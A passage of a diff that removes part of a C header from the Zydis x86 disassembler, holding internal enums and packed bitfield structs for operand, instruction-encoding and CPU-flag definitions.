ZYDIS_SEMANTIC_OPTYPE_MEM_VSIBY, - ZYDIS_SEMANTIC_OPTYPE_MEM_VSIBZ, - ZYDIS_SEMANTIC_OPTYPE_IMM, - ZYDIS_SEMANTIC_OPTYPE_REL, - ZYDIS_SEMANTIC_OPTYPE_PTR, - ZYDIS_SEMANTIC_OPTYPE_AGEN, - ZYDIS_SEMANTIC_OPTYPE_MOFFS, - ZYDIS_SEMANTIC_OPTYPE_MIB, - - /** - * Maximum value of this enum. - */ - ZYDIS_SEMANTIC_OPTYPE_MAX_VALUE = ZYDIS_SEMANTIC_OPTYPE_MIB, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_SEMANTIC_OPTYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_SEMANTIC_OPTYPE_MAX_VALUE) -} ZydisSemanticOperandType; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisInternalElementType` enum. - */ -typedef enum ZydisInternalElementType_ -{ - ZYDIS_IELEMENT_TYPE_INVALID, - ZYDIS_IELEMENT_TYPE_VARIABLE, - ZYDIS_IELEMENT_TYPE_STRUCT, - ZYDIS_IELEMENT_TYPE_INT, - ZYDIS_IELEMENT_TYPE_UINT, - ZYDIS_IELEMENT_TYPE_INT1, - ZYDIS_IELEMENT_TYPE_INT8, - ZYDIS_IELEMENT_TYPE_INT16, - ZYDIS_IELEMENT_TYPE_INT32, - ZYDIS_IELEMENT_TYPE_INT64, - ZYDIS_IELEMENT_TYPE_UINT8, - ZYDIS_IELEMENT_TYPE_UINT16, - ZYDIS_IELEMENT_TYPE_UINT32, - ZYDIS_IELEMENT_TYPE_UINT64, - ZYDIS_IELEMENT_TYPE_UINT128, - ZYDIS_IELEMENT_TYPE_UINT256, - ZYDIS_IELEMENT_TYPE_FLOAT16, - ZYDIS_IELEMENT_TYPE_FLOAT32, - ZYDIS_IELEMENT_TYPE_FLOAT64, - ZYDIS_IELEMENT_TYPE_FLOAT80, - ZYDIS_IELEMENT_TYPE_BCD80, - ZYDIS_IELEMENT_TYPE_CC3, - ZYDIS_IELEMENT_TYPE_CC5, - - /** - * Maximum value of this enum. - */ - ZYDIS_IELEMENT_TYPE_MAX_VALUE = ZYDIS_IELEMENT_TYPE_CC5, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_IELEMENT_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IELEMENT_TYPE_MAX_VALUE) -} ZydisInternalElementType; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisImplicitRegisterType` enum. - */ -typedef enum ZydisImplicitRegisterType_ -{ - ZYDIS_IMPLREG_TYPE_STATIC, - ZYDIS_IMPLREG_TYPE_GPR_OSZ, - ZYDIS_IMPLREG_TYPE_GPR_ASZ, - ZYDIS_IMPLREG_TYPE_GPR_SSZ, - ZYDIS_IMPLREG_TYPE_IP_ASZ, - ZYDIS_IMPLREG_TYPE_IP_SSZ, - ZYDIS_IMPLREG_TYPE_FLAGS_SSZ, - - /** - * Maximum value of this enum. - */ - ZYDIS_IMPLREG_TYPE_MAX_VALUE = ZYDIS_IMPLREG_TYPE_FLAGS_SSZ, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_IMPLREG_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IMPLREG_TYPE_MAX_VALUE) -} ZydisImplicitRegisterType; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisImplicitMemBase` enum. - */ -typedef enum ZydisImplicitMemBase_ -{ - ZYDIS_IMPLMEM_BASE_AGPR_REG, - ZYDIS_IMPLMEM_BASE_AGPR_RM, - ZYDIS_IMPLMEM_BASE_AAX, - ZYDIS_IMPLMEM_BASE_ADX, - ZYDIS_IMPLMEM_BASE_ABX, - ZYDIS_IMPLMEM_BASE_ASP, - ZYDIS_IMPLMEM_BASE_ABP, - ZYDIS_IMPLMEM_BASE_ASI, - ZYDIS_IMPLMEM_BASE_ADI, - - /** - * Maximum value of this enum. - */ - ZYDIS_IMPLMEM_BASE_MAX_VALUE = ZYDIS_IMPLMEM_BASE_ADI, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_IMPLMEM_BASE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IMPLMEM_BASE_MAX_VALUE) -} ZydisImplicitMemBase; - -/* ---------------------------------------------------------------------------------------------- */ - -// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct -// enum types -ZYAN_STATIC_ASSERT(ZYDIS_SEMANTIC_OPTYPE_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_OPERAND_VISIBILITY_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_OPERAND_ACTION_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_IELEMENT_TYPE_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_OPERAND_ENCODING_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_IMPLREG_TYPE_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_REGISTER_REQUIRED_BITS <= 16); -ZYAN_STATIC_ASSERT(ZYDIS_IMPLMEM_BASE_REQUIRED_BITS <= 8); - -/** - * Defines the `ZydisOperandDefinition` struct. - */ -typedef struct ZydisOperandDefinition_ -{ - ZyanU8 type ZYAN_BITFIELD(ZYDIS_SEMANTIC_OPTYPE_REQUIRED_BITS); - ZyanU8 visibility ZYAN_BITFIELD(ZYDIS_OPERAND_VISIBILITY_REQUIRED_BITS); - ZyanU8 actions ZYAN_BITFIELD(ZYDIS_OPERAND_ACTION_REQUIRED_BITS); - ZyanU16 size[3]; - ZyanU8 element_type ZYAN_BITFIELD(ZYDIS_IELEMENT_TYPE_REQUIRED_BITS); - union - { - ZyanU8 encoding ZYAN_BITFIELD(ZYDIS_OPERAND_ENCODING_REQUIRED_BITS); - struct - { - ZyanU8 type ZYAN_BITFIELD(ZYDIS_IMPLREG_TYPE_REQUIRED_BITS); - union - { - ZyanU16 reg ZYAN_BITFIELD(ZYDIS_REGISTER_REQUIRED_BITS); - ZyanU8 id ZYAN_BITFIELD(6); - } reg; - } reg; - struct - { - ZyanU8 seg ZYAN_BITFIELD(3); - ZyanU8 base ZYAN_BITFIELD(ZYDIS_IMPLMEM_BASE_REQUIRED_BITS); - } mem; - } op; -} ZydisOperandDefinition; - -/* ---------------------------------------------------------------------------------------------- */ -/* Instruction definition */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisReadWriteAction` enum. - */ -typedef enum ZydisReadWriteAction_ -{ - ZYDIS_RW_ACTION_NONE, - ZYDIS_RW_ACTION_READ, - ZYDIS_RW_ACTION_WRITE, - ZYDIS_RW_ACTION_READWRITE, - - /** - * Maximum value of this enum. - */ - ZYDIS_RW_ACTION_MAX_VALUE = ZYDIS_RW_ACTION_READWRITE, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_RW_ACTION_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_RW_ACTION_MAX_VALUE) -} ZydisReadWriteAction; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisRegisterConstraint` enum. - */ -typedef enum ZydisRegisterConstraint_ -{ - ZYDIS_REG_CONSTRAINTS_UNUSED, - ZYDIS_REG_CONSTRAINTS_NONE, - ZYDIS_REG_CONSTRAINTS_GPR, - ZYDIS_REG_CONSTRAINTS_SR_DEST, - ZYDIS_REG_CONSTRAINTS_SR, - ZYDIS_REG_CONSTRAINTS_CR, - ZYDIS_REG_CONSTRAINTS_DR, - ZYDIS_REG_CONSTRAINTS_MASK, - ZYDIS_REG_CONSTRAINTS_BND, - ZYDIS_REG_CONSTRAINTS_VSIB, - ZYDIS_REG_CONSTRAINTS_NO_REL, - - /** - * Maximum value of this enum. - */ - ZYDIS_REG_CONSTRAINTS_MAX_VALUE = ZYDIS_REG_CONSTRAINTS_NO_REL, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_REG_CONSTRAINTS_MAX_VALUE) -} ZydisRegisterConstraint; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisInternalVectorLength` enum. - */ -typedef enum ZydisInternalVectorLength_ -{ - ZYDIS_IVECTOR_LENGTH_DEFAULT, - ZYDIS_IVECTOR_LENGTH_FIXED_128, - ZYDIS_IVECTOR_LENGTH_FIXED_256, - ZYDIS_IVECTOR_LENGTH_FIXED_512, - - /** - * Maximum value of this enum. - */ - ZYDIS_IVECTOR_LENGTH_MAX_VALUE = ZYDIS_IVECTOR_LENGTH_FIXED_512, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_IVECTOR_LENGTH_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IVECTOR_LENGTH_MAX_VALUE) -} ZydisInternalVectorLength; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisInternalElementSize` enum. - */ -typedef enum ZydisInternalElementSize_ -{ - ZYDIS_IELEMENT_SIZE_INVALID, - ZYDIS_IELEMENT_SIZE_8, - ZYDIS_IELEMENT_SIZE_16, - ZYDIS_IELEMENT_SIZE_32, - ZYDIS_IELEMENT_SIZE_64, - ZYDIS_IELEMENT_SIZE_128, - - /** - * Maximum value of this enum. - */ - ZYDIS_IELEMENT_SIZE_MAX_VALUE = ZYDIS_IELEMENT_SIZE_128, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_IELEMENT_SIZE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IELEMENT_SIZE_MAX_VALUE) -} ZydisInternalElementSize; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisEVEXFunctionality` enum. - */ -typedef enum ZydisEVEXFunctionality_ -{ - ZYDIS_EVEX_FUNC_INVALID, - /** - * `EVEX.b` enables broadcast functionality. - */ - ZYDIS_EVEX_FUNC_BC, - /** - * `EVEX.b` enables embedded-rounding functionality. - */ - ZYDIS_EVEX_FUNC_RC, - /** - * `EVEX.b` enables sae functionality. - */ - ZYDIS_EVEX_FUNC_SAE, - - /** - * Maximum value of this enum. - */ - ZYDIS_EVEX_FUNC_MAX_VALUE = ZYDIS_EVEX_FUNC_SAE, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_EVEX_FUNC_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_EVEX_FUNC_MAX_VALUE) -} ZydisEVEXFunctionality; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisEVEXTupleType` enum. - */ -typedef enum ZydisEVEXTupleType_ -{ - ZYDIS_TUPLETYPE_INVALID, - /** - * Full Vector - */ - ZYDIS_TUPLETYPE_FV, - /** - * Half Vector - */ - ZYDIS_TUPLETYPE_HV, - /** - * Full Vector Mem - */ - ZYDIS_TUPLETYPE_FVM, - /** - * Tuple1 Scalar - */ - ZYDIS_TUPLETYPE_T1S, - /** - * Tuple1 Fixed - */ - ZYDIS_TUPLETYPE_T1F, - /** - * Tuple1 4x32 - */ - ZYDIS_TUPLETYPE_T1_4X, - /** - * Gather / Scatter - */ - ZYDIS_TUPLETYPE_GSCAT, - /** - * Tuple2 - */ - ZYDIS_TUPLETYPE_T2, - /** - * Tuple4 - */ - ZYDIS_TUPLETYPE_T4, - /** - * Tuple8 - */ - ZYDIS_TUPLETYPE_T8, - /** - * Half Mem - */ - ZYDIS_TUPLETYPE_HVM, - /** - * QuarterMem - */ - ZYDIS_TUPLETYPE_QVM, - /** - * OctMem - */ - ZYDIS_TUPLETYPE_OVM, - /** - * Mem128 - */ - ZYDIS_TUPLETYPE_M128, - /** - * MOVDDUP - */ - ZYDIS_TUPLETYPE_DUP, - - /** - * Maximum value of this enum. - */ - ZYDIS_TUPLETYPE_MAX_VALUE = ZYDIS_TUPLETYPE_DUP, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_TUPLETYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_TUPLETYPE_MAX_VALUE) -} ZydisEVEXTupleType; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisMVEXFunctionality` enum. - */ -typedef enum ZydisMVEXFunctionality_ -{ - /** - * The `MVEX.SSS` value is ignored. - */ - ZYDIS_MVEX_FUNC_IGNORED, - /** - * `MVEX.SSS` must be `000b`. - */ - ZYDIS_MVEX_FUNC_INVALID, - /** - * `MVEX.SSS` controls embedded-rounding functionality. - */ - ZYDIS_MVEX_FUNC_RC, - /** - * `MVEX.SSS` controls sae functionality. - */ - ZYDIS_MVEX_FUNC_SAE, - /** - * No special operation (32bit float elements). - */ - ZYDIS_MVEX_FUNC_F_32, - /** - * No special operation (32bit uint elements). - */ - ZYDIS_MVEX_FUNC_I_32, - /** - * No special operation (64bit float elements). - */ - ZYDIS_MVEX_FUNC_F_64, - /** - * No special operation (64bit uint elements). - */ - ZYDIS_MVEX_FUNC_I_64, - /** - * Sf32(reg) or Si32(reg). - */ - ZYDIS_MVEX_FUNC_SWIZZLE_32, - /** - * Sf64(reg) or Si64(reg). - */ - ZYDIS_MVEX_FUNC_SWIZZLE_64, - /** - * Sf32(mem). - */ - ZYDIS_MVEX_FUNC_SF_32, - /** - * Sf32(mem) broadcast only. - */ - ZYDIS_MVEX_FUNC_SF_32_BCST, - /** - * Sf32(mem) broadcast 4to16 only. - */ - ZYDIS_MVEX_FUNC_SF_32_BCST_4TO16, - /** - * Sf64(mem). - */ - ZYDIS_MVEX_FUNC_SF_64, - /** - * Si32(mem). - */ - ZYDIS_MVEX_FUNC_SI_32, - /** - * Si32(mem) broadcast only. - */ - ZYDIS_MVEX_FUNC_SI_32_BCST, - /** - * Si32(mem) broadcast 4to16 only. - */ - ZYDIS_MVEX_FUNC_SI_32_BCST_4TO16, - /** - * Si64(mem). - */ - ZYDIS_MVEX_FUNC_SI_64, - /** - * Uf32. - */ - ZYDIS_MVEX_FUNC_UF_32, - /** - * Uf64. - */ - ZYDIS_MVEX_FUNC_UF_64, - /** - * Ui32. - */ - ZYDIS_MVEX_FUNC_UI_32, - /** - * Ui64. - */ - ZYDIS_MVEX_FUNC_UI_64, - /** - * Df32. - */ - ZYDIS_MVEX_FUNC_DF_32, - /** - * Df64. - */ - ZYDIS_MVEX_FUNC_DF_64, - /** - * Di32. - */ - ZYDIS_MVEX_FUNC_DI_32, - /** - * Di64. - */ - ZYDIS_MVEX_FUNC_DI_64, - - /** - * Maximum value of this enum. - */ - ZYDIS_MVEX_FUNC_MAX_VALUE = ZYDIS_MVEX_FUNC_DI_64, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_MVEX_FUNC_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MVEX_FUNC_MAX_VALUE) -} ZydisMVEXFunctionality; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisVEXStaticBroadcast` enum. - */ -typedef enum ZydisVEXStaticBroadcast -{ - ZYDIS_VEX_STATIC_BROADCAST_NONE, - ZYDIS_VEX_STATIC_BROADCAST_1_TO_2, - ZYDIS_VEX_STATIC_BROADCAST_1_TO_4, - ZYDIS_VEX_STATIC_BROADCAST_1_TO_8, - ZYDIS_VEX_STATIC_BROADCAST_1_TO_16, - ZYDIS_VEX_STATIC_BROADCAST_1_TO_32, - ZYDIS_VEX_STATIC_BROADCAST_2_TO_4, - - /** - * Maximum value of this enum. - */ - ZYDIS_VEX_STATIC_BROADCAST_MAX_VALUE = ZYDIS_VEX_STATIC_BROADCAST_2_TO_4, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_VEX_STATIC_BROADCAST_REQUIRED_BITS = - ZYAN_BITS_TO_REPRESENT(ZYDIS_VEX_STATIC_BROADCAST_MAX_VALUE) -} ZydisVEXStaticBroadcast; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisEVEXStaticBroadcast` enum. - */ -typedef enum ZydisEVEXStaticBroadcast_ -{ - ZYDIS_EVEX_STATIC_BROADCAST_NONE, - ZYDIS_EVEX_STATIC_BROADCAST_1_TO_2, - ZYDIS_EVEX_STATIC_BROADCAST_1_TO_4, - ZYDIS_EVEX_STATIC_BROADCAST_1_TO_8, - ZYDIS_EVEX_STATIC_BROADCAST_1_TO_16, - ZYDIS_EVEX_STATIC_BROADCAST_1_TO_32, - ZYDIS_EVEX_STATIC_BROADCAST_1_TO_64, - ZYDIS_EVEX_STATIC_BROADCAST_2_TO_4, - ZYDIS_EVEX_STATIC_BROADCAST_2_TO_8, - ZYDIS_EVEX_STATIC_BROADCAST_2_TO_16, - ZYDIS_EVEX_STATIC_BROADCAST_4_TO_8, - ZYDIS_EVEX_STATIC_BROADCAST_4_TO_16, - ZYDIS_EVEX_STATIC_BROADCAST_8_TO_16, - - /** - * Maximum value of this enum. - */ - ZYDIS_EVEX_STATIC_BROADCAST_MAX_VALUE = ZYDIS_EVEX_STATIC_BROADCAST_8_TO_16, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_EVEX_STATIC_BROADCAST_REQUIRED_BITS = - ZYAN_BITS_TO_REPRESENT(ZYDIS_EVEX_STATIC_BROADCAST_MAX_VALUE) -} ZydisEVEXStaticBroadcast; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisMVEXStaticBroadcast` enum. - */ -typedef enum ZydisMVEXStaticBroadcast_ -{ - ZYDIS_MVEX_STATIC_BROADCAST_NONE, - ZYDIS_MVEX_STATIC_BROADCAST_1_TO_8, - ZYDIS_MVEX_STATIC_BROADCAST_1_TO_16, - ZYDIS_MVEX_STATIC_BROADCAST_4_TO_8, - ZYDIS_MVEX_STATIC_BROADCAST_4_TO_16, - - /** - * Maximum value of this enum. - */ - ZYDIS_MVEX_STATIC_BROADCAST_MAX_VALUE = ZYDIS_MVEX_STATIC_BROADCAST_4_TO_16, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_MVEX_STATIC_BROADCAST_REQUIRED_BITS = - ZYAN_BITS_TO_REPRESENT(ZYDIS_MVEX_STATIC_BROADCAST_MAX_VALUE) -} ZydisMVEXStaticBroadcast; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisMaskPolicy` enum. - */ -typedef enum ZydisMaskPolicy_ -{ - ZYDIS_MASK_POLICY_INVALID, - /** - * The instruction accepts mask-registers other than the default-mask (K0), but - * does not require them. - */ - ZYDIS_MASK_POLICY_ALLOWED, - /** - * The instruction requires a mask-register other than the default-mask (K0). - */ - ZYDIS_MASK_POLICY_REQUIRED, - /** - * The instruction does not allow a mask-register other than the default-mask (K0). - */ - ZYDIS_MASK_POLICY_FORBIDDEN, - - /** - * Maximum value of this enum. - */ - ZYDIS_MASK_POLICY_MAX_VALUE = ZYDIS_MASK_POLICY_FORBIDDEN, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_MASK_POLICY_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MASK_POLICY_MAX_VALUE) -} ZydisMaskPolicy; - -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZydisMaskOverride` enum. - */ -typedef enum ZydisMaskOverride_ -{ - ZYDIS_MASK_OVERRIDE_DEFAULT, - ZYDIS_MASK_OVERRIDE_ZEROING, - ZYDIS_MASK_OVERRIDE_CONTROL, - - /** - * Maximum value of this enum. - */ - ZYDIS_MASK_OVERRIDE_MAX_VALUE = ZYDIS_MASK_OVERRIDE_CONTROL, - /** - * The minimum number of bits required to represent all values of this enum. - */ - ZYDIS_MASK_OVERRIDE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MASK_OVERRIDE_MAX_VALUE) -} ZydisMaskOverride; - -/* ---------------------------------------------------------------------------------------------- */ - -// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct -// enum types -ZYAN_STATIC_ASSERT(ZYDIS_MNEMONIC_REQUIRED_BITS <= 16); -ZYAN_STATIC_ASSERT(ZYDIS_CATEGORY_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_ISA_SET_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_ISA_EXT_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_BRANCH_TYPE_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_EXCEPTION_CLASS_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_RW_ACTION_REQUIRED_BITS <= 8); - -#ifndef ZYDIS_MINIMAL_MODE -# define ZYDIS_INSTRUCTION_DEFINITION_BASE \ - ZyanU16 mnemonic ZYAN_BITFIELD(ZYDIS_MNEMONIC_REQUIRED_BITS); \ - ZyanU8 operand_count ZYAN_BITFIELD( 4); \ - ZyanU16 operand_reference ZYAN_BITFIELD(15); \ - ZyanU8 operand_size_map ZYAN_BITFIELD( 3); \ - ZyanU8 address_size_map ZYAN_BITFIELD( 2); \ - ZyanU8 flags_reference ZYAN_BITFIELD( 7); \ - ZyanBool requires_protected_mode ZYAN_BITFIELD( 1); \ - ZyanU8 category ZYAN_BITFIELD(ZYDIS_CATEGORY_REQUIRED_BITS); \ - ZyanU8 isa_set ZYAN_BITFIELD(ZYDIS_ISA_SET_REQUIRED_BITS); \ - ZyanU8 isa_ext ZYAN_BITFIELD(ZYDIS_ISA_EXT_REQUIRED_BITS); \ - ZyanU8 branch_type ZYAN_BITFIELD(ZYDIS_BRANCH_TYPE_REQUIRED_BITS); \ - ZyanU8 exception_class ZYAN_BITFIELD(ZYDIS_EXCEPTION_CLASS_REQUIRED_BITS); \ - ZyanU8 constr_REG ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS); \ - ZyanU8 constr_RM ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS); \ - ZyanU8 cpu_state ZYAN_BITFIELD(ZYDIS_RW_ACTION_REQUIRED_BITS); \ - ZyanU8 fpu_state ZYAN_BITFIELD(ZYDIS_RW_ACTION_REQUIRED_BITS); \ - ZyanU8 xmm_state ZYAN_BITFIELD(ZYDIS_RW_ACTION_REQUIRED_BITS) -#else -# define ZYDIS_INSTRUCTION_DEFINITION_BASE \ - ZyanU16 mnemonic ZYAN_BITFIELD(ZYDIS_MNEMONIC_REQUIRED_BITS); \ - ZyanU8 operand_size_map ZYAN_BITFIELD( 3); \ - ZyanU8 address_size_map ZYAN_BITFIELD( 2); \ - ZyanBool requires_protected_mode ZYAN_BITFIELD( 1); \ - ZyanU8 constr_REG ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS); \ - ZyanU8 constr_RM ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS) -#endif - -#define ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR \ - ZYDIS_INSTRUCTION_DEFINITION_BASE; \ - ZyanU8 constr_NDSNDD ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS) - -#define ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR_INTEL \ - ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR; \ - ZyanBool is_gather ZYAN_BITFIELD( 1) - -/** - * Defines the `ZydisInstructionDefinition` struct. - */ -typedef struct ZydisInstructionDefinition_ -{ - ZYDIS_INSTRUCTION_DEFINITION_BASE; -} ZydisInstructionDefinition; - -/** - * Defines the `ZydisInstructionDefinitionLEGACY` struct. - */ -typedef struct ZydisInstructionDefinitionLEGACY_ -{ - ZYDIS_INSTRUCTION_DEFINITION_BASE; -#ifndef ZYDIS_MINIMAL_MODE - ZyanBool is_privileged ZYAN_BITFIELD( 1); -#endif - ZyanBool accepts_LOCK ZYAN_BITFIELD( 1); -#ifndef ZYDIS_MINIMAL_MODE - ZyanBool accepts_REP ZYAN_BITFIELD( 1); - ZyanBool accepts_REPEREPZ ZYAN_BITFIELD( 1); - ZyanBool accepts_REPNEREPNZ ZYAN_BITFIELD( 1); - ZyanBool accepts_BOUND ZYAN_BITFIELD( 1); - ZyanBool accepts_XACQUIRE ZYAN_BITFIELD( 1); - ZyanBool accepts_XRELEASE ZYAN_BITFIELD( 1); - ZyanBool accepts_hle_without_lock ZYAN_BITFIELD( 1); - ZyanBool accepts_branch_hints ZYAN_BITFIELD( 1); - ZyanBool accepts_segment ZYAN_BITFIELD( 1); -#endif -} ZydisInstructionDefinitionLEGACY; - -/** - * Defines the `ZydisInstructionDefinition3DNOW` struct. - */ -typedef struct ZydisInstructionDefinition3DNOW_ -{ - ZYDIS_INSTRUCTION_DEFINITION_BASE; -} ZydisInstructionDefinition3DNOW; - -/** - * Defines the `ZydisInstructionDefinitionXOP` struct. - */ -typedef struct ZydisInstructionDefinitionXOP_ -{ - ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR; -} ZydisInstructionDefinitionXOP; - -// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct -// enum types -ZYAN_STATIC_ASSERT(ZYDIS_VEX_STATIC_BROADCAST_REQUIRED_BITS <= 8); - -/** - * Defines the `ZydisInstructionDefinitionVEX` struct. - */ -typedef struct ZydisInstructionDefinitionVEX_ -{ - ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR_INTEL; -#ifndef ZYDIS_MINIMAL_MODE - ZyanU8 broadcast ZYAN_BITFIELD(ZYDIS_VEX_STATIC_BROADCAST_REQUIRED_BITS); -#endif -} ZydisInstructionDefinitionVEX; - -#ifndef ZYDIS_DISABLE_AVX512 - -// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct -// enum types -ZYAN_STATIC_ASSERT(ZYDIS_IVECTOR_LENGTH_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_TUPLETYPE_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_IELEMENT_SIZE_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_EVEX_FUNC_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_MASK_POLICY_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_MASK_OVERRIDE_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_EVEX_STATIC_BROADCAST_REQUIRED_BITS <= 8); - -/** - * Defines the `ZydisInstructionDefinitionEVEX` struct. - */ -typedef struct ZydisInstructionDefinitionEVEX_ -{ - ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR_INTEL; -#ifndef ZYDIS_MINIMAL_MODE - ZyanU8 vector_length ZYAN_BITFIELD(ZYDIS_IVECTOR_LENGTH_REQUIRED_BITS); - ZyanU8 tuple_type ZYAN_BITFIELD(ZYDIS_TUPLETYPE_REQUIRED_BITS); - ZyanU8 element_size ZYAN_BITFIELD(ZYDIS_IELEMENT_SIZE_REQUIRED_BITS); - ZyanU8 functionality ZYAN_BITFIELD(ZYDIS_EVEX_FUNC_REQUIRED_BITS); -#endif - ZyanU8 mask_policy ZYAN_BITFIELD(ZYDIS_MASK_POLICY_REQUIRED_BITS); - ZyanBool accepts_zero_mask ZYAN_BITFIELD( 1); -#ifndef ZYDIS_MINIMAL_MODE - ZyanU8 mask_override ZYAN_BITFIELD(ZYDIS_MASK_OVERRIDE_REQUIRED_BITS); - ZyanU8 broadcast ZYAN_BITFIELD(ZYDIS_EVEX_STATIC_BROADCAST_REQUIRED_BITS); -#endif -} ZydisInstructionDefinitionEVEX; -#endif - -#ifndef ZYDIS_DISABLE_KNC - -// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct -// enum types -ZYAN_STATIC_ASSERT(ZYDIS_MVEX_FUNC_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_MASK_POLICY_REQUIRED_BITS <= 8); -ZYAN_STATIC_ASSERT(ZYDIS_MVEX_STATIC_BROADCAST_REQUIRED_BITS <= 8); - -/** - * Defines the `ZydisInstructionDefinitionMVEX` struct. - */ -typedef struct ZydisInstructionDefinitionMVEX_ -{ - ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR_INTEL; - ZyanU8 functionality ZYAN_BITFIELD(ZYDIS_MVEX_FUNC_REQUIRED_BITS); - ZyanU8 mask_policy ZYAN_BITFIELD(ZYDIS_MASK_POLICY_REQUIRED_BITS); -#ifndef ZYDIS_MINIMAL_MODE - ZyanBool has_element_granularity ZYAN_BITFIELD( 1); - ZyanU8 broadcast ZYAN_BITFIELD(ZYDIS_MVEX_STATIC_BROADCAST_REQUIRED_BITS); -#endif -} ZydisInstructionDefinitionMVEX; -#endif - -/* ---------------------------------------------------------------------------------------------- */ -/* Accessed CPU flags */ -/* ---------------------------------------------------------------------------------------------- */ - -typedef struct ZydisAccessedFlags_ -{ - ZydisCPUFlagAction action[ZYDIS_CPUFLAG_MAX_VALUE + 1]; - ZyanU32 cpu_flags_read ZYAN_BITFIELD(22); - ZyanU32 cpu_flags_written ZYAN_BITFIELD(22); - ZyanU8 fpu_flags_read ZYAN_BITFIELD( 4); - ZyanU8 fpu_flags_written ZYAN_BITFIELD( 4); -} ZydisAccessedFlags; - -/* 